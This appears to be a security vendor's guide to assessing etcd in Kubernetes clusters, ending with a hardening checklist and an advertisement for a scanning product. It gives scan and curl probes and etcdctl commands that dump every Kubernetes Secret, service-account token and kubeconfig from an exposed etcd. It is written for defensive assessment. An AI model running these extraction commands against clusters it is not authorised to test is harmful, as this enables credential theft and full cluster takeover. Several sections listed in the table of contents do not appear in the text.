etcd Security Testing: Unauthenticated API Access, Kubernetes Secret Extraction, and Peer Authentication

etcd is the distributed key-value store that backs every Kubernetes cluster — it holds all cluster state including Secrets, ConfigMaps, ServiceAccounts, RBAC policies, and kubeconfig data. An exposed or misconfigured etcd is a complete Kubernetes cluster compromise: an attacker who can read etcd gets every Secret in plaintext (Kubernetes base64-encodes but does not encrypt Secrets by default) and can write arbitrary objects to bypass RBAC entirely. This guide covers the systematic etcd security assessment process from network exposure through peer authentication, snapshot security, and encryption-at-rest verification.

Table of Contents

  1. etcd Network Exposure Testing
  2. Unauthenticated API Access and Secret Extraction
  3. Kubernetes Secret Decoding from etcd
  4. Peer Authentication and Rogue Member Testing
  5. Snapshot Exfiltration Testing
  6. Encryption at Rest Verification
  7. etcd Security Hardening

etcd Network Exposure Testing

# etcd client API: port 2379 (HTTP or HTTPS)
# etcd peer communication: port 2380 (HTTP or HTTPS)
# Both should NEVER be accessible outside the control plane nodes

# Scan for exposed etcd
nmap -sV -p 2379,2380 --open TARGET-NETWORK/24 2>/dev/null | grep -A3 "open"

# Test HTTP (unauthenticated) endpoint
curl -s http://etcd.example.com:2379/health 2>/dev/null
# {"health":"true"} = etcd accessible over HTTP without auth = critical

# Test HTTPS without client cert (should fail with 400 Bad Request or cert required)
curl -s https://etcd.example.com:2379/health --insecure 2>/dev/null
# If returns {"health":"true"}: TLS without mutual auth = still exploitable

# Check etcd version (useful for CVE research)
curl -s http://etcd.example.com:2379/version 2>/dev/null | python3 -m json.tool

Unauthenticated API Access and Secret Extraction

# etcd v3 API (default for Kubernetes)
# Using etcdctl client tool against an unauthenticated endpoint

export ETCDCTL_API=3
export ETCDCTL_ENDPOINTS="http://etcd.example.com:2379"

# Test basic connectivity
etcdctl endpoint health 2>/dev/null
# "etcd.example.com:2379 is healthy" = accessible

# List ALL keys in the etcd cluster
etcdctl get / --prefix --keys-only 2>/dev/null | head -50

# Get all Kubernetes secrets (stored under /registry/secrets/)
etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null | \
  awk '{print}' | head -30
# Output: /registry/secrets/NAMESPACE/SECRET-NAME

# Get all keys in the entire cluster
etcdctl get "" --prefix --keys-only 2>/dev/null | wc -l
# Should return 0 if auth is required; hundreds/thousands if accessible

# etcd v2 API (older clusters, still present in some managed K8s)
curl -s http://etcd.example.com:2379/v2/keys/?recursive=true 2>/dev/null | \
  python3 -c "
import json,sys
try:
    r = json.load(sys.stdin)
    nodes = r.get('node',{}).get('nodes',[])
    print(f'Top-level keys: {len(nodes)}')
    for n in nodes[:10]:
        print(f'  {n.get(\"key\",\"?\")}')
except:
    print('Failed or auth required')
"

Kubernetes Secret Decoding from etcd

# Kubernetes stores Secrets base64-encoded in etcd (NOT encrypted unless KMS configured)
# Reading a Secret from etcd bypasses RBAC entirely

export ETCDCTL_API=3

# Get a specific Kubernetes Secret from etcd
etcdctl get /registry/secrets/kube-system/bootstrap-token-xxxxxx \
  --print-value-only 2>/dev/null | \
  python3 -c "
import sys
data = sys.stdin.buffer.read()
# etcd stores K8s objects as protobuf-encoded bytes
# Look for readable strings within the binary data
import re
strings = re.findall(b'[\\x20-\\x7e]{6,}', data)
for s in strings:
    print(s.decode('utf-8', errors='replace'))
"

# More targeted: dump all secrets across all namespaces
for key in $(etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null); do
  echo "=== $key ==="
  etcdctl get "$key" --print-value-only 2>/dev/null | \
    strings | grep -vE "^\s*$" | head -20
done 2>/dev/null

# Get ServiceAccount tokens (these grant cluster API access)
etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null | \
  grep "kubernetes.io/service-account-token" | head -5

# Get kubeconfig secrets (often stored by CI/CD tooling)
etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null | \
  grep -iE "kubeconfig|cluster-admin|bootstrap" | head -10

etcd Security Hardening

etcd Security Hardening Checklist:
Security TestMethodRisk
etcd port 2379 accessible from pod networkcurl/etcdctl from a pod against control plane IPCritical
HTTP API without TLScurl http://etcd:2379/health returns successCritical
TLS without mutual auth (no client cert required)curl https://etcd:2379/health --insecure succeedsCritical
Kubernetes Secrets not encrypted at restetcdctl get /registry/secrets/ns/name — readable stringsHigh
etcd snapshot accessible without authetcdctl snapshot save — check if permitted without certHigh
Peer port 2380 exposed beyond control planecurl/nmap port 2380 from outside control plane subnetHigh

Automate etcd and Kubernetes Infrastructure Security Testing

Ironimo tests etcd deployments for network exposure, unauthenticated client API access, mTLS misconfiguration, encryption-at-rest gaps, peer authentication bypass, and snapshot security — covering the complete etcd attack surface that underlies every Kubernetes cluster.

Start free scan